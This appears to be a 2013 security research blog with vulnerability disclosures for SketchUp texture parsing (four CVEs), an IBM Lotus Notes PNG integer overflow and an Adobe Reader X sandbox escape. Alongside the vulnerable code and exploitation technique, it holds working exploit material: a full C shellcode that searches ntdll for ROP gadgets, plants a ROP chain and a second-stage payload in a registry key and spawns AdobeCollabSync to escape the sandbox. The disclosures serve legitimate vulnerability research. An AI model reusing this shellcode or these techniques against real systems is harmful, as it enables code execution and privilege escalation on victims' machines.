Friday, May 31, 2013

Multiple vulnerabilities on sketchup

SketchUp is a 3D modeling program marketed by Trimble Navigation Limited(previously Google) and designed for architectural, civil, and mechanical engineers as well as filmmakers, game developers, and related professions.
SketchUp fails to validate the input when parsing different types of embedded textures. Exploitation of this issues will lead to the execution of arbitrary code on the client machine with the privileges of the user running the Sketchup. This vulnerabilities can be triggered when a malicious .skp file is open in SketchUp or previewed in Windows Explorer.
CVE Title Fixed in version
CVE-2013-3662MAC Pict Material Stack Corruption8M2
CVE-2013-3663BMP RLE8 Heap Overflow8M3
CVE-2013-3664MAC Pict Material Stack Corruption 22013
CVE-2013-3664BMP RLE4 Heap Overflow2013
The native SketchUp fileformat can handle textured 3D content. Sketchup can create realistic materials taken from image files such as .jpg pictures taken with a digital camera. A number of this images can be embedded into the main .skp file and loaded every time the 3D scene is open. As the same image library is used for in any case the issues addressed here can also be triggered when Windows Explorer reads the embedded thumbnail in a .skp file. Arbitrary code execution is proved possible in 4 different ways after an .skp file with a malicious texture or thumbnail or background image is opened.

Sketchup MAC Pict Material Palette Stack Corruption

Sketchup fails to validate the input when parsing an embedded MAC Pict texture, leading to an arbitrary stack offset overwrite and finally to an arbitrary code execution. The issue arises when SketchUp tries to load the color palette table of a MAC Pict material (or embedded image). A Mac Pict file can hold palettes of up to 64k colors. It is encoded so the number of colours to read from the file is the firsts 16bit unsigned value of the encoded palette.
                        '>H'  numColors
Then it follows a list of up to numColors palette entries.
                         '>H'  color index 
                         'BBB' RGB
                        ] * numColors

Each entry is a pair of index and RGB color and the entries can be put in any order. The only constraint is that each index must be less or equal than numColor. SketchUp reads this potentially 64k entries length table in a 256 entries length stack buffer.

`` In Windows this buffer is guarded by a /GS cookie but this protection is rendered useless because of the arbitrary color index. An attacker could select the indexes passed on the encoded palette so the cookie is never altered. ``

So an arbitrary RGB color can be placed at an arbitrary position in the range of the 64k entries from the beginning of the original stack buffer. The only problem is that an RGB color is 3 bytes sized and there is room allocated for a 4th byte in each color entry, probably for an alpha channel. This 4th byte (the most significant byte of the resultant 32bit word) is forced to 00.

Thus, is fair to say that an almost arbitrary offset of the stack can be written with an almost arbitrary value. Playing with the stacked local values of the calling functions it is possible to capture the execution flow and execute arbitrary code.

Exploitation of the above problem will lead to the execution of arbitrary code on the client machine with the privileges of the user running the SketchUp.

In the exploit, as it is possible to embed several materials two different exploiting primitives are devised.

  1. write a zero byte followed by 3 controlled bytes to any low memory address.
  2. control the program counter via a memory deference

So each time a MAC Pict image is parsed by Google SketchUp either of these things can be done. This exploit needs less than 24 texture images to control the program behavior.

In Windows the writable memory at address 0x100000 is used as a pivot. The stack is switched to it and a ROP like chain is mastered to bypass DEP. Yes there are fixed executable memory maps loaded at the same addres in W7/XP(0x100000) where to search for ROP gadgets. This dll being fixed at 0x100000 is the only source of unreliability of the exploit.


The function that reads the MAC Pict material color pallete is at 0x017449b0. The .skp file can contain up to 24 preseted materials possibly replaced by PICT images; so a breakpoint there can happen up to 24 times with this settings. A copy of the vulnerable function dissemble is here.

Summary and exploit

SketchUp BMP RLE8 Heap Overflow

Sketchup fails to validate the input when parsing an embedded BMP RLE8 compressed texture, leading to an arbitrary stack offset overwrite and finally to arbitrary code execution.

The code parsing BMP/RLE images seem to be taken from a discontinued open source project, paintlib. The problematic function looks like this:

void PLBmpDecoder::decodeRLE8
    ( PLDataSource * pDataSrc,
      PLBmpBase * pBmp
            // Decodes a compressed 256-color-bitmap
  int y;                    // Current row

  PLBYTE * pDest;           // Current destination
  PLBYTE * pSrc;            // Current position in file
  PLBYTE   RunLength;       // Length of current run
  bool   bEOL;              // true if end of line reached
  bool   bEOF=false;        // true if end of file reached
  PLBYTE ** pLineArray = pBmp->GetLineArray();
                            // Pointers to dest lines

  Trace (2, "Decoding RLE8-compressed bitmap.\n");

  for (y=0; y<pBmp->GetHeight() && !bEOF; y++)
  {                         // For each line...
    pDest = pLineArray[pBmp->GetHeight()-y-1];
    while (!bEOL)
    {                       // For each packet do
      pSrc = pDataSrc->Read1Byte();
      RunLength = *pSrc;
      if (RunLength==0)
      { // Literal or escape.
        pSrc = pDataSrc->Read1Byte();
        RunLength = *pSrc;
        switch (RunLength)
          case 0:           // End of line escape
            bEOL = true;
          case 1:           // End of file escape
            bEOF = true;
            bEOL = true;
          case 2:           // Delta escape.
            // I have never seen a file using this
            raiseError (PL_ERRFORMAT_NOT_SUPPORTED,
                        "Encountered delta escape.");
            bEOL = true;
            bEOF = true;
                            // Literal packet
            pSrc = pDataSrc->ReadNBytes(RunLength);
            memcpy (pDest, pSrc, RunLength);
            pDest += RunLength;
            // Word alignment at end of literal packet.
            if (RunLength & 1) pDataSrc->Skip(1);
      {                     // Encoded packet:
                            // RunLength pixels, 
                                // all with the same value
        pSrc = pDataSrc->Read1Byte();
        memset (pDest, *pSrc, RunLength);
        pDest += RunLength;

Note that the 'while' statement ends only when it reaches an EOF token (or similar condition) on the input. It decodes RLE packets into the previously allocated buffer "pLineArray". The pLineArray is supposed to by a bitmap. Its size (height*width) is controlled by the input. So we can allocate any buffer size and then write and overflow it with whatever content we want.

Exploitation of the above problem will lead to the execution of arbitrary code on the client machine with the privileges of the user running the Sketchup.

Sumary and exploit

MAC Pict Material Stack Corruption 2

Similarly to the previous PICT bug this is triggered when SketchUp loads the color palette table of a MAC Pict material (or embedded image). We found another way to reach the vulnerable code, which was still there.

Sumary and exploit

BMP RLE4 Heap Overflow

Similarly to the previous BMP bug this bug is triggered when SketchUp loads BMP material with RLE4 compression.

The code parsing BMP/RLE4 images seem to be taken from a discontinued open source project, paintlib. The problematic function looks like this:

void PLBmpDecoder::decodeRLE4
    ( PLDataSource * pDataSrc,
      PLBmpBase * pBmp
    // Decodes a compressed 16-color-bitmap.
  int y;                              // Current row

  PLBYTE * pSrc;
  PLBYTE * pDest;                       // Current destination.
  int    XSize = pBmp->GetWidth();  // Width of bitmap in pixels.
  PLBYTE   SrcByte;                     // Source byte cache.

  PLBYTE   RunLength;    // Length of current run.
  bool   bOdd;         // true if current run has odd length.

  bool   bEOL;         // true if end of line reached.
  bool   bEOF=false;   // true if end of file reached.

  PLBYTE * pLineBuf;     // Current line as uncompressed nibbles.
  PLBYTE * pBuf;         // Current position in pLineBuf.
  PLBYTE ** pLineArray = pBmp->GetLineArray();
                                   // Pointers to dest. lines.

  Trace (2, "Decoding RLE4-compressed bitmap.

  // Allocate enough memory for DWORD alignment in original 4 bpp
  // bitmap.
  pLineBuf = new PLBYTE [XSize*4+28];

  for (y=0; y<pBmp->GetHeight() && !bEOF; y++)
  { // For each line...
    pBuf = pLineBuf;
    while (!bEOL)
    { // For each packet do
      pSrc = pDataSrc->Read1Byte();
      RunLength = *pSrc;
      if (RunLength==0)
      { // Literal or escape.
        pSrc = pDataSrc->Read1Byte();
        RunLength = *pSrc;
        switch (RunLength)
          case 0: // End of line escape
            bEOL = true;
          case 1: // End of file escape
            bEOF = true;
            bEOL = true;
          case 2: // Delta escape.
            // I have never seen a file using this.
            delete [] pLineBuf;
            raiseError (PL_ERRFORMAT_NOT_SUPPORTED,
                        "Encountered delta escape.");
            // Literal packet
            bOdd = (RunLength & 1);
            RunLength /= 2; // Convert pixels to bytes.
            for (int i=0; i<RunLength; i++)
            { // For each source byte...
              pSrc = pDataSrc->Read1Byte();
              decode2Nibbles (pBuf, *pSrc);
              pBuf += 2;
            if (bOdd)
            { // Odd length packet -> one nibble left over
              pSrc = pDataSrc->Read1Byte();
              *pBuf = (*(pSrc))>>4;
            // Word alignment at end of literal packet.
            if ((RunLength + bOdd) & 1) pDataSrc->Skip(1);
      { // Encoded packet:
        // RunLength 4 bpp pixels with 2 alternating
        // values.
        pSrc = pDataSrc->Read1Byte();
        SrcByte = *pSrc;
        for (int i=0; i<RunLength/2; i++)
          decode2Nibbles (pBuf, SrcByte);
          pBuf += 2;
        if (RunLength & 1)
          *pBuf = (*(pSrc))>>4;
    pDest = pLineArray[pBmp->GetHeight()-y-1];
    memcpy (pDest, pLineBuf, XSize);
  delete [] pLineBuf;

Note that the for-loop inside the 'Encoded packet' branch decode/copy two nibbles to pBuf every time, executing this RunLength/2 times. And because there is no check about the pBuf's length before advancing the pointer two positions, a heap overflow (pBuf based) may arise.

The pBuf is initialized to pLineBuf wich is a fresh allocated buffer of size XSize*4+28, being XSize the BMP's width (controlled value). So we can allocate almost any buffer size and then write and overflow it with words like 0x0X0Y (X,Y controlled nibble values).

Exploitation of the above problem will lead to the execution of arbitrary code on the client machine with the privileges of the user running the Sketchup.

Sumary and exploit

Thursday, May 16, 2013

IBM Lotus Notes PNG Integer Overflow - CVE-2013-2977

IBM Lotus Notes is the client of a collaborative client-server plataform, being IBM Lotus Domino the application server. The email-client capability is one of its most important and used features. IBM Lotus Notes fails to correctly parse a PNG image file embedded in an email. Arbitrary code execution is proved possible after a malicious email is opened or just previewed. Quick links: White paper, exploit generator, PoC.
  • Title: IBM Lotus Notes PNG Integer Overflow
  • CVE Name: CVE-2013-2977
  • Permalink:
  • Date published: 2013-05-16
  • Date of last update: 2013-05-16
  • Class: Client Side / Remote by mail


IBM Lotus Notes has an email client that allows embedded images in the email’s body. One of the images format supported is PNG, and its parsing is managed by libpng. The problem exposed here isn’t within libpng, but in the way that IBM Lotus Notes use the interface exposed by libpng. The faulty routine is located at nnotes+0x607B60 and looks like:
  1.             ...
  2.             mov     eax, [ebx+0Ch]
  3.             push    edi
  4.             push    eax
  5.             push    ecx
  6.             call    png_get_rowbytes
  7.             mov     edx, [ebx+0Ch]
  8.             mov     edi, eax                ;edi = width*4
  9.             mov     eax, [ebx+8]
  10.             push    edx
  11.             push    eax
  12.             mov     [ebp+var_28], edi
  13.             call    png_get_channels
  14.             movzx   cx, al
  15.             mov     eax, [esi+4]            ;eax = height
  16.             imul    eax, edi                ;eax = (width*4)*height
  17.             add     esp, 10h
  18.             lea     edx, [ebp+var_14]
  19.             push    edx
  20.             push    eax
  21.             push    eax
  22.             push    10000h
  23.             mov     [esi+17h], cx
  24.             call    OSMemAllocRaw           ;alloc (width*4)*height bytes
  25.             ...
An integer overflow may occurs in the multiplication (width*4)*height. In fact, the dimensions constraints are:
0 < width ≤ 0x000F4240
0 < height ≤ 0x1FFFFF7E
Therefore, the allocated size within OSMemAllocRaw is almost completely controlled. That buffer will be used to store all decompressed rows of the image. And will be filled by libpng in reverse order, i.e. writing the last width*4 bytes and and continuing upwards n times, where n is the height. As we can see, with certain values of width and height we can have a heap backward overflow, in this scenario we control:
  • Overflowed buffer’s size (with restrictions)
  • Overflow size (with restrictions)
  • Overflow data (completely)
A similar situation occurs in IBM Notes.


To trigger the parsing of an image attached to an email, we use the fact that IBM Lotus Notes parses HTML content. We achieve that sending an img tag with its src referencing the attached file. As we said before, the misallocated buffer is used to store all the image’s rows. There exists a second call to OSMemAllocRaw that will allocate a buffer of 4*height bytes, i.e. a DWORD for each row, that DWORD will store a pointer to the begining of each row in the first allocated buffer. If we can sort the memory in such a way that the misallocated buffer is after the pointers buffer, we could possibly turn this bug to an arbitrary write. In other words, we could overwrite a row’s pointer with an arbitrary address, then libpng will eventually use that address to copy the corresponding decompressed row, overwriting 4*width bytes starting at that address. To achieve the stated before, we need a way to sort the memory as we want. We built a way playing with JavaScript and reversing its garbage collector, to trigger it when we want. Now we have to find what we could overwrite to be as stealth as possible, and to get something reliable in both IBM Lotus Notes and IBM Notes. They share the following modules (no ASLR, no Rebase):
LTOUIN22.dll base at 0x62990000
MSVCR71.dll base at 0x7C340000
We decide to overwrite the function pointer located at 0x629B9184. That function will be called eventually and then the ROP chain begins. It’s important to note that additional to the actual payload, some code is executed to assure the maximum stealthiness and to restore the state to thread and module involved. A Proof of Concept exploit is provided and tested for Windows 7 and Windows XP. This was tested opening and/or previewing the email. If everything went ok the PoC will run a calculator. It was tested on fresh installations of Windows 7 Ultimate SP1 both 32 and 64 bit and Windows XP Pro SP3 32 bit versions.


Vendor has released an patch.The Windows fix is included in Interim Fix 1 for Notes 8.5.3 Fix Pack 4 and Interim Fix 1 for Notes 9.0. For more information consult the official bulletin.

Wednesday, May 15, 2013

Adobe Reader X Sandbox bypass - CVE-2013-2730

AdobeCollabSync stack overflow

Adobe Reader X is a powerful software solution developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF). Since version 10 it includes the Protected Mode, a sandbox technology similar to the one in Google Chrome which improves the overall security of the product.
  • Title: AdobeCollabSync stack overflow
  • CVE Name: CVE-2013-2730
  • Permalink:
  • Date published: 2013-05-15
  • Date of last update: 2013-05-15
  • Class: Sandbox bypass
One of the Adobe Reader X companion programs, AdobeCollabSync.exe, fails to validate the input when reading a registry value. This value can be altered from the low integrity sandboxed process. Arbitrary code execution in the context of AdobeCollabSync.exe process is proved possible after controlling certain registry key value. Quick links: White paper, Exploit and a PoC as injectable Dll.

Vulnerability Details

The issue is a sandbox bypass that enables a privilege escalation from the sandboxed low integrity process (target) to a medium integrity process (AdobeCollabSync.exe). A registry value writable from the target is read by AdobeCollabSync.exe into a stack based buffer without checking its size. A normal stack overflow occur and the control flow of a medium integrity process is controlled.

The Sandbox

Adobe reader X uses a slightly modified version of the Google Chrome sandbox. The Sandbox operates at process-level granularity. Anything that has to be sandboxed needs to live on a separate process. The minimal sandbox configuration has two processes: one that is a privileged controller known as the broker, and one or more sandboxed processes known as the target. At the beginning the main Reader process called the broker spawns a less privilege process called the target. The target can do few things by itself, so it is forced to relay most accesses to the operating system resources through the broker process using IPC. The broker receives these requests to access the different resources over IPC and then checks if the request passes a configured security policy. This policy is a set of rules established at the process start. More details on Adobe Reader Sandbox rules and exceptions can be found in this post.

The rule

The one we are interested follows:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\* rw REGISTRY
Basically this enables the target process to read and write any value down the specified key. Now we need a process with higher integrity that reads it.

Review Tracker

The Review Tracker shipped with Adobe reader lets you manage document reviews. From this window, you can see who’s joined a shared review and how many comments they've published. You can also rejoin a review, access comment servers used in reviews, and email participants. This functionality is implemented using a companion program which is spawn when the tracker is open from the gui. You can access the Tracker from the Reader menu: View/Tracker... . All the gui parts run in the target process so when you click the menu item the broker is asked to spawn a AdobeCollabSync.exe process. If an attacker is able to run arbitrary code on behalf of the target process is also able to spawn as many AdobeCollabSync.exe process as needed. This is done using the function acrord_exe+0x18da0 in the target (that's version 10.1.4).

On the AdobeCollabSync.exe process

Consider the trace of AdobeCollabSync.exe on the sysinternals process monitor when it runs normally.
It shows that AdobeCollabSync.exe reads one of the registry keys that are writable by the target process. For example the registry key:
HKEY_CURRENT_USER\Software\Adobe\Adobe Synchronizer\10.0\DBRecoveryOptions\bDeleteDB
Now, the functions that read the registry value are vulnerable to a stack based overflow. A screenshot of a process monitor trace follows:

Vulnerable function

The vulnerable function can be found at AdobeCollabSync.exe+9C1F0. It uses RegQueryValueRegExW to read values from the registry. The cbData parameter should indicate the size of the destination buffer. Because it is left uninitialized, RegQueryValueRegExW can write any number of bytes to the stack buffer of size 4 bytes. A stripped pseudo code of the bug is shown in the following listing.
  1. int
  2. READKEY_49C1F0(void *this, char *name, int a3) {
  3.   void * namew;
  4.   int cbData, Type, Data;
  5.   namew = AnsiToUnicode(concat("b", name) );
  6.   if ( !RegQueryValueExW(*((HKEY *)this_ + 2),
  7.                             (LPCWSTR)namew,
  8.                             0,
  9.                             &amp;Type,
  10.                             (LPBYTE)&amp;Data,
  11.                             &amp;cbData) &amp;&amp; Type == 4 ){
  12.       ...   // everything ok
  13.       return Data!=0;
  14.     }
  15.   ...  //error
  16.   return a3;
  17. }

Exploitation details

The target (sandboxed process) can write arbitrary amount of data into the selected registry key and spawn any number of AdobeCollabSync.exe processes. A fresh AdobeCollabSync.exe process will read the crafted registry value unchecked into the stack producing an of-the-book stack overflow with no /GS cookie. The only constraint is there is a pointer in upper stack frame that is periodically used by a thread. This stack offset must be left unaltered. Final stack size for overflowing is about 0x500 bytes. This is enough to virtualallocate a new RXW memory and ROP a small code into it. Then a second stage shellcode can be gathered from another registry value.


There are no fixed dlls in AdobeCollabSync.exe. Hence an attacker already on the system may learn the address of ntll and assume that the newly created process will reuse the same address. This won’t hold with BIB.dll and AXE8SharedExpad.dll. The address of VirtualProtect as well as the addresses of all other system dlls are shared among different processes. The only problem is to find the ROP gadgets that work in any version of windows. But as the attacker already has access to a copy of ntdll.dll, the gadgets may be searched at runtime and the ROP built accordingly. We use 3 simple gadgets. More can be added to make the search more robust.
89 0f C3 MOV dword ptr [EDI], ECX
Next there is the shellcode that must run in the target process. It searches for the gadgets, builds the ROP, writes to the selected registry key value and trigger the execution of AdobeCollabSync.exe.
  1. int
  2. shellcode_main(GetModuleHandle_t GetModuleHandle, GetProcAddress_t GetProcAddress){
  3.     int i,j,k;
  4.     HMODULE acrord_exe = GetModuleHandle("AcroRd32.exe");
  5.     DoCollab_t docollab = (DoCollab_t)acrord_exe+0x18da0;
  6.     HMODULE ntdll = GetModuleHandle("ntdll");
  7.     HMODULE kernel32 = GetModuleHandle("kernel32");
  8.     VirtualAlloc_t VirtualAlloc = GetProcAddress(kernel32,"VirtualAlloc");
  9.     RegCreateKeyExA_t RegCreateKeyExA = GetProcAddress(kernel32,"RegCreateKeyExA");
  10.     RegSetValueExA_t RegSetValueExA = GetProcAddress(kernel32,"RegSetValueExA");
  11.     RegCloseKey_t RegCloseKey = GetProcAddress(kernel32,"RegCloseKey");
  12.     CloseHandle_t CloseHandle = GetProcAddress(kernel32,"CloseHandle");
  13.     ExitProcess_t ExitProcess = GetProcAddress(kernel32,"ExitProcess");
  14.     RegGetValueA_t RegGetValueA = GetProcAddress(kernel32,"RegGetValueA");
  15.     RegDeleteValueA_t RegDeleteValueA = GetProcAddress(kernel32,"RegDeleteValueA");
  16.     Sleep_t Sleep = GetProcAddress(kernel32,"Sleep");
  17.     union{
  18.          char c[0x1000];
  19.          int  i[0];
  20.     } buffer;
  21.     HMODULE collab_proc;
  22.     HANDLE key = 0;
  23.     // Search for gadgets in ntdll
  24.     unsigned char* gadget_ret;
  25.     unsigned char* gadget_mov_dword_edi_ecx_ret;
  26.     unsigned char* gadget_pop_edi_ret;
  27.     unsigned char* gadget_pop_ecx_ret;
  28.     //Search gadget MOV DWORD [EDI], ECX; RET
  29.     for(gadget_mov_dword_edi_ecx_ret = (unsigned char*)ntdll+0x10000;
  30.         gadget_mov_dword_edi_ecx_ret &lt; (unsigned char*)ntdll+0xd6000;
  31.         gadget_mov_dword_edi_ecx_ret++){
  32.         if ( gadget_mov_dword_edi_ecx_ret[0] == 0x89 &&
  33.              gadget_mov_dword_edi_ecx_ret[1] == 0x0f &&
  34.              gadget_mov_dword_edi_ecx_ret[2] == 0xc3)
  35.             break;
  36.     }
  37.     //Search gadget RET
  38.     gadget_ret = gadget_mov_dword_edi_ecx_ret+2;
  39.     //Search gadget POP EDI; RET
  40.     for(gadget_pop_edi_ret = ntdll+0x10000;
  41.         gadget_pop_edi_ret &lt; ntdll+0xd6000;
  42.         gadget_pop_edi_ret++){
  43.         if ( gadget_pop_edi_ret[0] == 0x5F &&
  44.              gadget_pop_edi_ret[1] == 0xc3)
  45.             break;
  46.     }
  47.     //Search gadget POP ECX; RET
  48.     for(gadget_pop_ecx_ret = ntdll+0x10000;
  49.         gadget_pop_ecx_ret &lt; ntdll+0xd6000;
  50.         gadget_pop_ecx_ret++){
  51.         if ( gadget_pop_ecx_ret[0] == 0x59 &&
  52.              gadget_pop_ecx_ret[1] == 0xc3)
  53.             break;
  54.     }
  55.     {
  56.      int * mem = MEMBASE;
  57.      unsigned buffer_used;
  58.      //Make rop using BIB.dll adress (same in all proc)
  59.      i=0;
  60.      buffer.i[i++]=0x58000000+i;
  61.      buffer.i[i++]=0x58000000+i;
  62.      buffer.i[i++]=0;              //Must be zero
  63.      buffer.i[i++]=0x58000000+i;
  64.      //4
  65.      buffer.i[i++]=0x58000000+i;
  66.      buffer.i[i++]=0x58000000+i;
  67.      buffer.i[i++]=0x58000000+i;
  68.      buffer.i[i++]=gadget_ret; //<Starts here
  69.      //8
  70.      buffer.i[i++]=0x58000000+i;
  71.      buffer.i[i++]=0x58000000+i;
  72.      buffer.i[i++]=VirtualAlloc;
  73.      buffer.i[i++]=gadget_ret; //RET1;
  74.      buffer.i[i++]=mem;        // lpAddress,
  75.      buffer.i[i++]=0x00010000; // SIZE_T dwSize
  76.      buffer.i[i++]=0x00003000; // DWORD flAllocationType
  77.      buffer.i[i++]=0x00000040; // flProtect
  78.      k=0;
  79.      for(j=0;j&lt;sizeof(regkey)/4+1;j+=1){
  80.          buffer.i[i++]=gadget_pop_edi_ret;
  81.          buffer.i[i++]=((int*)mem)+k++;
  82.          buffer.i[i++]=gadget_pop_ecx_ret;
  83.          buffer.i[i++]=((int*)regkey)[j];
  84.          buffer.i[i++]=gadget_mov_dword_edi_ecx_ret;
  85.      }
  86.      buffer.i[i++]=RegGetValueA;
  87.      buffer.i[i++]=(void*)mem+0x1000;           //RET
  88.      buffer.i[i++]=HKEY_CURRENT_USER;    //hkey
  89.      buffer.i[i++]=mem;                  //lpSubKey
  90.      buffer.i[i++]=(void*)mem+0x3a;             //lpValue
  91.      buffer.i[i++]=RRF_RT_ANY;           //dwFlags
  92.      buffer.i[i++]=0;                    //pdwType
  93.      buffer.i[i++]=(void*)mem+0x1000;           //pvData
  94.      buffer.i[i++]=(void*)mem+0x44;               //pcbData
  95.      buffer_used = i*sizeof(buffer.i[i]);
  96.      //Set up vulnerable registry key
  97.      RegCreateKeyExA(HKEY_CURRENT_USER,
  98.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  99.                      0 /*reserved*/,
  100.                      NULL /*lpclass*/,
  101.                      REG_OPTION_NON_VOLATILE /*Options*/,
  102.                      KEY_ALL_ACCESS /*samDesired*/,
  103.                      NULL /*SecurityAttribs*/,
  104.                      &key,
  105.                      NULL); //if not ERROR_SUCCES bail out
  106.      RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,buffer_used);
  107.      RegSetValueExA(key,"shellcode", 0, REG_BINARY,stage2,sizeof(stage2));
  108.      RegCloseKey(key);
  109.      // Tell the broker to execute AdobeCollabSync
  110.      collab_proc = docollab(0xbc);
  111.      // Sleep
  112.      Sleep(1000);
  113.      // Close collab_proc
  114.      CloseHandle(collab_proc);
  115.      // Clean registry
  116.      // RegSetValue
  117.      RegCreateKeyExA(HKEY_CURRENT_USER,
  118.                      "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\",
  119.                      0 /*reserved*/,
  120.                      NULL /*lpclass*/,
  121.                      REG_OPTION_NON_VOLATILE /*Options*/,
  122.                      KEY_ALL_ACCESS /*samDesired*/,
  123.                      NULL /*SecurityAttribs*/,
  124.                      &key,
  125.                      NULL); //if not ERROR_SUCCES bail out
  126.      //RegSetValueExA(key,"bDeleteDB", 0, REG_BINARY,buffer.c,0x4);
  127.      RegDeleteValueA(key, "shellcode");
  128.      RegDeleteValueA(key, "bDeleteDB");
  129.      RegCloseKey(key);
  130.      // Sleep
  131.      Sleep(1000);
  132.      // TODO: check success
  133.      ExitProcess(0);
  134.      //retry or spawn other target?
  135.     }
  136. }
To compile and pack this C code as an opaque executable chunk of memory (or shellcode) apply this. Using the awesome Stephen Fewer's ReflectiveDLLInjection project we can easly compile an injectable dll with this shellcode as payload. You can download a ready to use PoC dll from here. Note that this shellcode expects to get the address of GetModuleHandle and GetProcAddress functions as parameters (this are typically already known at ROP stage). Injecting this dll into the low integrity reader process will escape the sandbox and spawn a calculator. Next couple of figures are screenshots of an example run of the injected dll. Adobe reader runs a medium and a low integrity process:
Shellcode dll injected into the low integrity process:
Medium integrity calculator spawn: